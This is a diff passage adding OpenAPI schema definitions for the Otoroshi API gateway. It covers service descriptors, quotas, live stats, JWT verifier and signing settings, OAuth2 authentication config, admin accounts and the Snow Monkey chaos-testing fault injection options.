+ "type" : "string", + "example" : "a string value", + "description" : "Mailgun mailer domain" + }, + "apiKeyPublic" : { + "type" : "string", + "example" : "a string value", + "description" : "Mailjet mailer public api key" + }, + "apiKeyPrivate" : { + "type" : "string", + "example" : "a string value", + "description" : "Mailjet mailer private api key" + }, + "url" : { + "type" : "string", + "example" : "a string value", + "description" : "Generic mailer url" + }, + "header" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Generic mailer headers" + } + } + }, + "Patch" : { + "description" : "A set of changes described in JSON Patch format: http://jsonpatch.com/ (RFC 6902)", + "type" : "array", + "items" : { + "type" : "object", + "required" : [ "op", "path" ], + "properties" : { + "op" : { + "type" : "string", + "enum" : [ "add", "replace", "remove", "copy", "test" ] + }, + "path" : { + "type" : "string", + "example" : "a string value" + }, + "value" : { } + } + } + }, + "Quotas" : { + "description" : "Quotas state for an api key on a service group", + "type" : "object", + "required" : [ "authorizedCallsPerSec", "currentCallsPerSec", "remainingCallsPerSec", "authorizedCallsPerDay", "currentCallsPerDay", "remainingCallsPerDay", "authorizedCallsPerMonth", "currentCallsPerMonth", "remainingCallsPerMonth" ], + "properties" : { + "authorizedCallsPerSec" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The number of authorized calls per second" + }, + "currentCallsPerSec" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The current number of calls per second" + }, + "remainingCallsPerSec" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The remaining number of calls per second" + }, + "authorizedCallsPerDay" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The number of authorized calls per day" + }, + "currentCallsPerDay" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The current number of calls per day" + }, + "remainingCallsPerDay" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The remaining number of calls per day" + }, + "authorizedCallsPerMonth" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The number of authorized calls per month" + }, + "currentCallsPerMonth" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The current number of calls per month" + }, + "remainingCallsPerMonth" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The number of authorized calls per month" + } + } + }, + "Service" : { + "description" : "An otoroshi service descriptor. Represent a forward HTTP call on a domain to another location with some optional api management mecanism", + "type" : "object", + "required" : [ "id", "groups", "name", "env", "domain", "subdomain", "targets", "root", "enabled", "privateApp", "forceHttps", "maintenanceMode", "buildMode", "enforceSecureCommunication" ], + "properties" : { + "id" : { + "type" : "string", + "format" : "uuid", + "example" : "110e8400-e29b-11d4-a716-446655440000", + "description" : "A unique random string to identify your service" + }, + "groups" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "example" : [ "a string value" ], + "description" : "Each service descriptor is attached to groups. A group can have one or more services. Each API key is linked to a group and allow access to every service in the group" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "The name of your service. Only for debug and human readability purposes" + }, + "env" : { + "type" : "string", + "example" : "a string value", + "description" : "The line on which the service is available. Based on that value, the name of the line will be appended to the subdomain. For line prod, nothing will be appended. For example, if the subdomain is 'foo' and line is 'preprod', then the exposed service will be available at 'foo.preprod.mydomain'" + }, + "domain" : { + "type" : "string", + "example" : "a string value", + "description" : "The domain on which the service is available." + }, + "subdomain" : { + "type" : "string", + "example" : "a string value", + "description" : "The subdomain on which the service is available" + }, + "targets" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/Target" + }, + "description" : "The list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures" + }, + "root" : { + "type" : "string", + "example" : "a string value", + "description" : "Otoroshi will append this root to any target choosen. If the specified root is '/api/foo', then a request to https://yyyyyyy/bar will actually hit https://xxxxxxxxx/api/foo/bar" + }, + "matchingRoot" : { + "type" : "string", + "example" : "a string value", + "description" : "The root path on which the service is available" + }, + "localHost" : { + "type" : "string", + "example" : "a string value", + "description" : "The host used localy, mainly localhost:xxxx" + }, + "localScheme" : { + "type" : "string", + "example" : "a string value", + "description" : "The scheme used localy, mainly http" + }, + "redirectToLocal" : { + "type" : "boolean", + "example" : true, + "description" : "If you work locally with Otoroshi, you may want to use that feature to redirect one particuliar service to a local host. For example, you can relocate https://foo.preprod.bar.com to http://localhost:8080 to make some tests" + }, + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Activate or deactivate your service. Once disabled, users will get an error page saying the service does not exist" + }, + "userFacing" : { + "type" : "boolean", + "example" : true, + "description" : "The fact that this service will be seen by users and cannot be impacted by the Snow Monkey" + }, + "privateApp" : { + "type" : "boolean", + "example" : true, + "description" : "When enabled, user will be allowed to use the service (UI) only if they are registered users of the private apps domain" + }, + "forceHttps" : { + "type" : "boolean", + "example" : true, + "description" : "Will force redirection to https:// if not present" + }, + "maintenanceMode" : { + "type" : "boolean", + "example" : true, + "description" : "Display a maintainance page when a user try to use the service" + }, + "buildMode" : { + "type" : "boolean", + "example" : true, + "description" : "Display a construction page when a user try to use the service" + }, + "enforceSecureCommunication" : { + "type" : "boolean", + "example" : true, + "description" : "When enabled, Otoroshi will try to exchange headers with downstream service to ensure no one else can use the service from outside" + }, + "sendOtoroshiHeadersBack" : { + "type" : "boolean", + "example" : true, + "description" : "When enabled, Otoroshi will send headers to consumer like request id, client latency, overhead, etc ..." + }, + "xForwardedHeaders" : { + "type" : "boolean", + "example" : true, + "description" : "Send X-Forwarded-* headers" + }, + "overrideHost" : { + "type" : "boolean", + "example" : true, + "description" : "Host header will be overriden with Host of the target" + }, + "secComExcludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "URI patterns excluded from secured communications" + }, + "publicPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "By default, every services are private only and you'll need an API key to access it. However, if you want to expose a public UI, you can define one or more public patterns (regex) to allow access to anybody. For example if you want to allow anybody on any URL, just use '/.*'" + }, + "privatePatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "If you define a public pattern that is a little bit too much, you can make some of public URL private again" + }, + "ipFiltering" : { + "$ref" : "#/components/schemas/IpFiltering" + }, + "api" : { + "$ref" : "#/components/schemas/ExposedApi" + }, + "healthCheck" : { + "$ref" : "#/components/schemas/HealthCheck" + }, + "clientConfig" : { + "$ref" : "#/components/schemas/ClientConfig" + }, + "Canary" : { + "$ref" : "#/components/schemas/Canary" + }, + "statsdConfig" : { + "$ref" : "#/components/schemas/StatsdConfig" + }, + "chaosConfig" : { + "$ref" : "#/components/schemas/ChaosConfig" + }, + "jwtVerifier" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/LocalJwtVerifier" + }, { + "$ref" : "#/components/schemas/RefJwtVerifier" + } ] + }, + "secComSettings" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/HSAlgoSettings" + }, { + "$ref" : "#/components/schemas/RSAlgoSettings" + }, { + "$ref" : "#/components/schemas/ESAlgoSettings" + }, { + "$ref" : "#/components/schemas/JWKSAlgoSettings" + } ] + }, + "metadata" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Just a bunch of random properties" + }, + "matchingHeaders" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Specify headers that MUST be present on client request to route it. Useful to implement versioning" + }, + "additionalHeaders" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Specify headers that will be added to each client request. Useful to add authentication" + }, + "authConfigRef" : { + "type" : "string", + "example" : "a string value", + "description" : "A reference to a global auth module config" + }, + "transformerRef" : { + "type" : "string", + "example" : "a string value", + "description" : "A reference to a request transformer" + }, + "clientValidatorRef" : { + "type" : "string", + "example" : "a string value", + "description" : "A reference to validation authority" + }, + "cors" : { + "$ref" : "#/components/schemas/CorsSettings" + }, + "redirection" : { + "$ref" : "#/components/schemas/RedirectionSettings" + }, + "gzip" : { + "$ref" : "#/components/schemas/Gzip" + }, + "headersVerification" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Specify headers that will be verified after routing." + } + } + }, + "SimpleAdmin" : { + "description" : "Administrator using just login/password tuple to access Otoroshi", + "type" : "object", + "required" : [ "username", "label", "password", "createdAt" ], + "properties" : { + "username" : { + "type" : "string", + "example" : "a string value", + "description" : "The email address of the user" + }, + "label" : { + "type" : "string", + "example" : "a string value", + "description" : "The label for the user" + }, + "password" : { + "type" : "string", + "example" : "a string value", + "description" : "The hashed password of the user" + }, + "createdAt" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The creation date of the user" + } + } + }, + "Stats" : { + "description" : "Live stats for a service or globally", + "type" : "object", + "required" : [ "calls", "dataIn", "dataOut", "rate", "duration", "overhead", "dataInRate", "dataOutRate", "concurrentHandledRequests" ], + "properties" : { + "calls" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "Number of calls on the specified service or globally" + }, + "dataIn" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The amount of data sent to the specified service or Otoroshi globally" + }, + "dataOut" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The amount of data sent from the specified service or Otoroshi globally" + }, + "rate" : { + "type" : "integer", + "format" : "double", + "example" : 42.2, + "description" : "The rate of data sent from and to the specified service or Otoroshi globally" + }, + "duration" : { + "type" : "integer", + "format" : "double", + "example" : 42.2, + "description" : "The average duration for a call" + }, + "overhead" : { + "type" : "integer", + "format" : "double", + "example" : 42.2, + "description" : "The average overhead time induced by Otoroshi for each call" + }, + "dataInRate" : { + "type" : "integer", + "format" : "double", + "example" : 42.2, + "description" : "The rate of data sent to the specified service or Otoroshi globally" + }, + "dataOutRate" : { + "type" : "integer", + "format" : "double", + "example" : 42.2, + "description" : "The rate of data sent from the specified service or Otoroshi globally" + }, + "concurrentHandledRequests" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The number of concurrent request currently" + } + } + }, + "StatsdConfig" : { + "description" : "The configuration for statsd metrics push", + "type" : "object", + "required" : [ "host", "port", "datadog" ], + "properties" : { + "host" : { + "type" : "string", + "example" : "a string value", + "description" : "The host of the StatsD agent" + }, + "port" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "The port of the StatsD agent" + }, + "datadog" : { + "type" : "boolean", + "example" : true, + "description" : "Datadog agent" + } + } + }, + "Target" : { + "description" : "A Target is where an HTTP call will be forwarded in the end from a service domain", + "type" : "object", + "required" : [ "host", "scheme" ], + "properties" : { + "host" : { + "type" : "string", + "format" : "hostname", + "example" : "www.google.com", + "description" : "The host on which the HTTP call will be forwarded. Can be a domain name, or an IP address. Can also have a port" + }, + "scheme" : { + "type" : "string", + "example" : "a string value", + "description" : "The protocol used for communication. Can be http or https" + } + } + }, + "U2FAdmin" : { + "description" : "Administrator using FIDO U2F device to access Otoroshi", + "type" : "object", + "required" : [ "username", "label", "password", "createdAt", "registration" ], + "properties" : { + "username" : { + "type" : "string", + "example" : "a string value", + "description" : "The email address of the user" + }, + "label" : { + "type" : "string", + "example" : "a string value", + "description" : "The label for the user" + }, + "password" : { + "type" : "string", + "example" : "a string value", + "description" : "The hashed password of the user" + }, + "createdAt" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The creation date of the user" + }, + "registration" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "The U2F registration slug" + } + } + }, + "Webhook" : { + "description" : "A callback URL where events are posted", + "type" : "object", + "required" : [ "url", "headers" ], + "properties" : { + "url" : { + "type" : "string", + "format" : "uri", + "example" : "http://www.google.com", + "description" : "The URL where events are posted" + }, + "headers" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Headers to authorize the call or whatever" + } + } + }, + "BadResponse" : { + "description" : "An HTTP response that is not supposed to be returned by a service", + "type" : "object", + "required" : [ "status", "body", "headers" ], + "properties" : { + "status" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "The HTTP status for the response" + }, + "body" : { + "type" : "string", + "example" : "a string value", + "description" : "The body of the HTTP response" + }, + "headers" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "The HTTP headers of the response" + } + } + }, + "LargeRequestFaultConfig" : { + "description" : "Config for large request injection fault", + "type" : "object", + "required" : [ "ratio", "additionalRequestSize" ], + "properties" : { + "ratio" : { + "type" : "integer", + "format" : "double", + "example" : 42.2, + "description" : "The percentage of requests affected by this fault. Value should be between 0.0 and 1.0" + }, + "additionalRequestSize" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "The size added to the request body in bytes. Added payload will be spaces only." + } + } + }, + "LargeResponseFaultConfig" : { + "description" : "Config for large response injection fault", + "type" : "object", + "required" : [ "ratio", "additionalResponseSize" ], + "properties" : { + "ratio" : { + "type" : "integer", + "format" : "double", + "example" : 42.2, + "description" : "The percentage of requests affected by this fault. Value should be between 0.0 and 1.0" + }, + "additionalRequestSize" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "The size added to the response body in bytes. Added payload will be spaces only." + } + } + }, + "LatencyInjectionFaultConfig" : { + "description" : "Config for large latency injection fault", + "type" : "object", + "required" : [ "ratio", "from", "to" ], + "properties" : { + "ratio" : { + "type" : "integer", + "format" : "double", + "example" : 42.2, + "description" : "The percentage of requests affected by this fault. Value should be between 0.0 and 1.0" + }, + "from" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "The start range of latency added to the request" + }, + "to" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "The end range of latency added to the request" + } + } + }, + "BadResponsesFaultConfig" : { + "description" : "Config for bad requests injection fault", + "type" : "object", + "required" : [ "ratio", "responses" ], + "properties" : { + "ratio" : { + "type" : "integer", + "format" : "double", + "example" : 42.2, + "description" : "The percentage of requests affected by this fault. Value should be between 0.0 and 1.0" + }, + "responses" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/BadResponse" + }, + "description" : "The possibles responses" + } + } + }, + "ChaosConfig" : { + "description" : "Configuration for the faults that can be injected in requests", + "type" : "object", + "required" : [ "enabled" ], + "properties" : { + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Whether or not this config is enabled" + }, + "largeRequestFaultConfig" : { + "$ref" : "#/components/schemas/LargeRequestFaultConfig" + }, + "largeResponseFaultConfig" : { + "$ref" : "#/components/schemas/LargeResponseFaultConfig" + }, + "latencyInjectionFaultConfig" : { + "$ref" : "#/components/schemas/LatencyInjectionFaultConfig" + }, + "badResponsesFaultConfig" : { + "$ref" : "#/components/schemas/BadResponsesFaultConfig" + } + } + }, + "OutageStrategy" : { + "type" : "string", + "enum" : [ "OneServicePerGroup", "AllServicesPerGroup" ] + }, + "SnowMonkeyConfig" : { + "description" : "Configuration for the faults that can be injected in requests. The name Snow Monkey is an hommage to Netflix's Chaos Monkey 😉", + "type" : "object", + "required" : [ "enabled", "outageStrategy", "includeUserFacingDescriptors", "dryRun", "timesPerDay", "startTime", "stopTime", "outageDurationFrom", "outageDurationTo", "targetGroups", "chaosConfig" ], + "properties" : { + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Whether or not this config is enabled" + }, + "outageStrategy" : { + "$ref" : "#/components/schemas/OutageStrategy", + "description" : "" + }, + "includeUserFacingDescriptors" : { + "type" : "boolean", + "example" : true, + "description" : "Whether or not user facing apps. will be impacted by Snow Monkey" + }, + "dryRun" : { + "type" : "boolean", + "example" : true, + "description" : "Whether or not outages will actualy impact requests" + }, + "timesPerDay" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Number of time per day each service will be outage" + }, + "startTime" : { + "type" : "string", + "format" : "time", + "example" : "17:32:28.000", + "description" : "Start time of Snow Monkey each day" + }, + "stopTime" : { + "type" : "string", + "format" : "time", + "example" : "17:32:28.000", + "description" : "Stop time of Snow Monkey each day" + }, + "outageDurationFrom" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Start of outage duration range" + }, + "outageDurationTo" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "End of outage duration range" + }, + "targetGroups" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "Groups impacted by Snow Monkey. If empty, all groups will be impacted" + }, + "chaosConfig" : { + "$ref" : "#/components/schemas/ChaosConfig" + } + } + }, + "Outage" : { + "description" : "An outage by the Snow Monkey on a service", + "type" : "object", + "required" : [ "descriptorId", "descriptorName", "until", "duration" ], + "properties" : { + "descriptorId" : { + "type" : "string", + "example" : "a string value", + "description" : "The service impacted by outage" + }, + "descriptorName" : { + "type" : "string", + "example" : "a string value", + "description" : "The name of service impacted by outage" + }, + "until" : { + "type" : "string", + "format" : "time", + "example" : "17:32:28.000", + "description" : "The end of the outage" + }, + "duration" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "The duration of the outage" + } + } + }, + "RefJwtVerifier" : { + "description" : "Reference to a global JWT verifier", + "type" : "object", + "required" : [ "type", "id", "enabled" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "A string with value 'ref'" + }, + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "The id of the GlobalJWTVerifier" + }, + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Is it enabled" + } + } + }, + "LocalJwtVerifier" : { + "description" : "A JWT verifier used only for the current service descriptor", + "type" : "object", + "required" : [ "type", "enabled", "strict", "source", "algoSettings", "strategy" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "A string with value 'local'" + }, + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Is it enabled" + }, + "strict" : { + "type" : "boolean", + "example" : true, + "description" : "Does it fail if JWT not found" + }, + "source" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/InQueryParam" + }, { + "$ref" : "#/components/schemas/InHeader" + }, { + "$ref" : "#/components/schemas/InCookie" + } ] + }, + "algoSettings" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/HSAlgoSettings" + }, { + "$ref" : "#/components/schemas/RSAlgoSettings" + }, { + "$ref" : "#/components/schemas/ESAlgoSettings" + }, { + "$ref" : "#/components/schemas/JWKSAlgoSettings" + } ] + }, + "strategy" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/PassThrough" + }, { + "$ref" : "#/components/schemas/Sign" + }, { + "$ref" : "#/components/schemas/Transform" + } ] + } + } + }, + "InQueryParam" : { + "description" : "JWT location in a query param", + "type" : "object", + "required" : [ "type", "name" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "String with value InQueryParam" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "Name of the query param" + } + } + }, + "InHeader" : { + "description" : "JWT location in a header", + "type" : "object", + "required" : [ "type", "name", "remove" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "String with value InHeader" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "Name of the header" + }, + "remove" : { + "type" : "string", + "example" : "a string value", + "description" : "Remove regex inside the value, like 'Bearer '" + } + } + }, + "InCookie" : { + "description" : "JWT location in a cookie", + "type" : "object", + "required" : [ "type", "name" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "String with value InCookie" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "Name of the cookie" + } + } + }, + "HSAlgoSettings" : { + "description" : "Settings for an HMAC + SHA signing algorithm", + "type" : "object", + "required" : [ "type", "size", "secret" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "String with value HSAlgoSettings" + }, + "size" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Size for SHA function. can be 256, 384 or 512" + }, + "secret" : { + "type" : "string", + "example" : "a string value", + "description" : "The secret value for the HMAC function" + } + } + }, + "RSAlgoSettings" : { + "description" : "Settings for an HMAC + SHA signing algorithm", + "type" : "object", + "required" : [ "type", "size", "publicKey" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "String with value RSAlgoSettings" + }, + "size" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Size for SHA function. can be 256, 384 or 512" + }, + "publicKey" : { + "type" : "string", + "example" : "a string value", + "description" : "The public key for the RSA function" + }, + "privateKey" : { + "type" : "string", + "example" : "a string value", + "description" : "The private key for the RSA function" + } + } + }, + "ESAlgoSettings" : { + "description" : "Settings for an EC + SHA signing algorithm", + "type" : "object", + "required" : [ "type", "size", "publicKey" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "String with value ESAlgoSettings" + }, + "size" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Size for SHA function. can be 256, 384 or 512" + }, + "publicKey" : { + "type" : "string", + "example" : "a string value", + "description" : "The public key for the RSA function" + }, + "privateKey" : { + "type" : "string", + "example" : "a string value", + "description" : "The private key for the RSA function" + } + } + }, + "JWKSAlgoSettings" : { + "description" : "Settings for a JWK set", + "type" : "object", + "required" : [ "type", "size", "publicKey" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "String with value JWKSAlgoSettings" + }, + "url" : { + "type" : "string", + "example" : "a string value", + "description" : "The url for the http call" + }, + "headers" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "The headers for the http call" + }, + "timeout" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The timeout of the http call" + }, + "ttl" : { + "type" : "integer", + "format" : "int64", + "example" : 123, + "description" : "The ttl of the keyset" + }, + "kty" : { + "type" : "string", + "example" : "a string value", + "description" : "The type of key: RSA or EC" + } + } + }, + "MappingSettings" : { + "description" : "Settings to change fields of a JWT token", + "type" : "object", + "required" : [ "map", "values", "remove" ], + "properties" : { + "map" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Fields to rename" + }, + "values" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Fields to set" + }, + "remove" : { + "type" : "array", + "items" : { + "type" : "string", + "example" : "a string value" + }, + "description" : "Fields to remove" + } + } + }, + "TransformSettings" : { + "description" : "Settings to transform a JWT token and its location", + "type" : "object", + "required" : [ "location", "mappingSettings" ], + "properties" : { + "location" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/InQueryParam" + }, { + "$ref" : "#/components/schemas/InHeader" + }, { + "$ref" : "#/components/schemas/InCookie" + } ] + }, + "mappingSettings" : { + "$ref" : "#/components/schemas/MappingSettings" + } + } + }, + "VerificationSettings" : { + "description" : "Settings to verify the value of JWT token fields", + "type" : "object", + "required" : [ "fields" ], + "properties" : { + "fields" : { + "type" : "object", + "example" : { + "key" : "value" + }, + "additionalProperties" : { + "type" : "string" + }, + "description" : "Fields to verify with their values" + }, + "mappingSettings" : { + "$ref" : "#/components/schemas/MappingSettings" + } + } + }, + "PassThrough" : { + "description" : "Strategy where only signature and field values are verified", + "type" : "object", + "required" : [ "type", "verificationSettings" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "String with value PassThrough" + }, + "verificationSettings" : { + "$ref" : "#/components/schemas/VerificationSettings" + } + } + }, + "Sign" : { + "description" : "Strategy where signature and field values are verified, and then token si re-signed", + "type" : "object", + "required" : [ "type", "verificationSettings", "algoSettings" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "String with value Sign" + }, + "verificationSettings" : { + "$ref" : "#/components/schemas/VerificationSettings" + }, + "algoSettings" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/HSAlgoSettings" + }, { + "$ref" : "#/components/schemas/RSAlgoSettings" + }, { + "$ref" : "#/components/schemas/ESAlgoSettings" + }, { + "$ref" : "#/components/schemas/JWKSAlgoSettings" + } ] + } + } + }, + "Transform" : { + "description" : "Strategy where signature and field values are verified, trasnformed and then token si re-signed", + "type" : "object", + "required" : [ "type", "verificationSettings", "algoSettings" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "String with value Transform" + }, + "verificationSettings" : { + "$ref" : "#/components/schemas/VerificationSettings" + }, + "transformSettings" : { + "$ref" : "#/components/schemas/TransformSettings" + }, + "algoSettings" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/HSAlgoSettings" + }, { + "$ref" : "#/components/schemas/RSAlgoSettings" + }, { + "$ref" : "#/components/schemas/ESAlgoSettings" + }, { + "$ref" : "#/components/schemas/JWKSAlgoSettings" + } ] + } + } + }, + "GlobalJwtVerifier" : { + "description" : "A JWT verifier used by multiple service descriptor", + "type" : "object", + "required" : [ "type", "id", "name", "desc", "enabled", "strict", "source", "algoSettings", "strategy" ], + "properties" : { + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "Verifier id" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "Verifier name" + }, + "desc" : { + "type" : "string", + "example" : "a string value", + "description" : "Verifier description" + }, + "enabled" : { + "type" : "boolean", + "example" : true, + "description" : "Is it enabled" + }, + "strict" : { + "type" : "boolean", + "example" : true, + "description" : "Does it fail if JWT not found" + }, + "source" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/InQueryParam" + }, { + "$ref" : "#/components/schemas/InHeader" + }, { + "$ref" : "#/components/schemas/InCookie" + } ] + }, + "algoSettings" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/HSAlgoSettings" + }, { + "$ref" : "#/components/schemas/RSAlgoSettings" + }, { + "$ref" : "#/components/schemas/ESAlgoSettings" + }, { + "$ref" : "#/components/schemas/JWKSAlgoSettings" + } ] + }, + "strategy" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/PassThrough" + }, { + "$ref" : "#/components/schemas/Sign" + }, { + "$ref" : "#/components/schemas/Transform" + } ] + } + } + }, + "GenericOauth2ModuleConfig" : { + "description" : "Settings to authenticate users using a generic OAuth2 provider", + "type" : "object", + "required" : [ "type", "id", "name", "desc", "sessionMaxAge", "clientId", "clientSecret", "authorizeUrl", "tokenUrl", "userInfoUrl", "loginUrl", "logoutUrl", "callbackUrl", "accessTokenField", "nameField", "emailField", "otoroshiDataField" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "Type of settings. value is oauth2" + }, + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "Unique id of the config" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "Name of the config" + }, + "desc" : { + "type" : "string", + "example" : "a string value", + "description" : "Description of the config" + }, + "sessionMaxAge" : { + "type" : "integer", + "format" : "int32", + "example" : 123123, + "description" : "Max age of the session" + }, + "clientId" : { + "type" : "string", + "example" : "a string value", + "description" : "OAuth Client id" + }, + "clientSecret" : { + "type" : "string", + "example" : "a string value", + "description" : "OAuth Client secret" + }, + "authorizeUrl" : { + "type" : "string", + "example" : "a string value", + "description" : "OAuth authorize URL" + }, + "tokenUrl" : { + "type" : "string", + "example" : "a string value", + "description" : "OAuth token URL" + }, + "userInfoUrl" : { + "type" : "string", + "example" : "a string value", + "description" : "OAuth userinfo to get user profile" + }, + "loginUrl" : { + "type" : "string", + "example" : "a string value", + "description" : "OAuth login URL" + }, + "logoutUrl" : { + "type" : "string", + "example" : "a string value", + "description" : "OAuth logout URL" + }, + "callbackUrl" : { + "type" : "string", + "example" : "a string value", + "description" : "Otoroshi callback URL" + }, + "scope" : { + "type" : "string", + "example" : "a string value", + "description" : "The scope of the token" + }, + "claims" : { + "type" : "string", + "example" : "a string value", + "description" : "The claims of the token" + }, + "accessTokenField" : { + "type" : "string", + "example" : "a string value", + "description" : "Field name to get access token" + }, + "nameField" : { + "type" : "string", + "example" : "a string value", + "description" : "Field name to get name from user profile" + }, + "emailField" : { + "type" : "string", + "example" : "a string value", + "description" : "Field name to get email from user profile" + }, + "otoroshiDataField" : { + "type" : "string", + "example" : "a string value", + "description" : "Field name to get otoroshi metadata from. You can specify sub fields using | as separator" + }, + "oidConfig" : { + "type" : "string", + "example" : "a string value", + "description" : "URL of the OIDC config. file" + }, + "useJson" : { + "type" : "boolean", + "example" : true, + "description" : "Use JSON or URL Form Encoded as payload with the OAuth provider" + }, + "useCookies" : { + "type" : "boolean", + "example" : true, + "description" : "Use for redirection to actual service" + }, + "readProfileFromToken" : { + "type" : "boolean", + "example" : true, + "description" : "The user profile will be read from the JWT token in id_token" + }, + "jwtVerifier" : { + "oneOf" : [ { + "$ref" : "#/components/schemas/HSAlgoSettings" + }, { + "$ref" : "#/components/schemas/RSAlgoSettings" + }, { + "$ref" : "#/components/schemas/ESAlgoSettings" + }, { + "$ref" : "#/components/schemas/JWKSAlgoSettings" + } ], + "description" : "Algo. settings to verify JWT token" + } + } + }, + "InMemoryAuthModuleConfig" : { + "description" : "Settings to authenticate users using the in memory user store", + "type" : "object", + "required" : [ "type", "id", "name", "desc", "users", "sessionMaxAge" ], + "properties" : { + "type" : { + "type" : "string", + "example" : "a string value", + "description" : "Type of settings. value is basic" + }, + "id" : { + "type" : "string", + "example" : "a string value", + "description" : "Unique id of the config" + }, + "name" : { + "type" : "string", + "example" : "a string value", + "description" : "Name of the config" + }, + "desc" : { + "type" : "string", + "example" : "a string value", + "description" : "Description of the config" + }, + "sessionMaxAge" : { + "type" : "string", + "example" : "a string value", + "description" : "Max age of the session" + }, + "users" : { + "type" : "array", + "items" 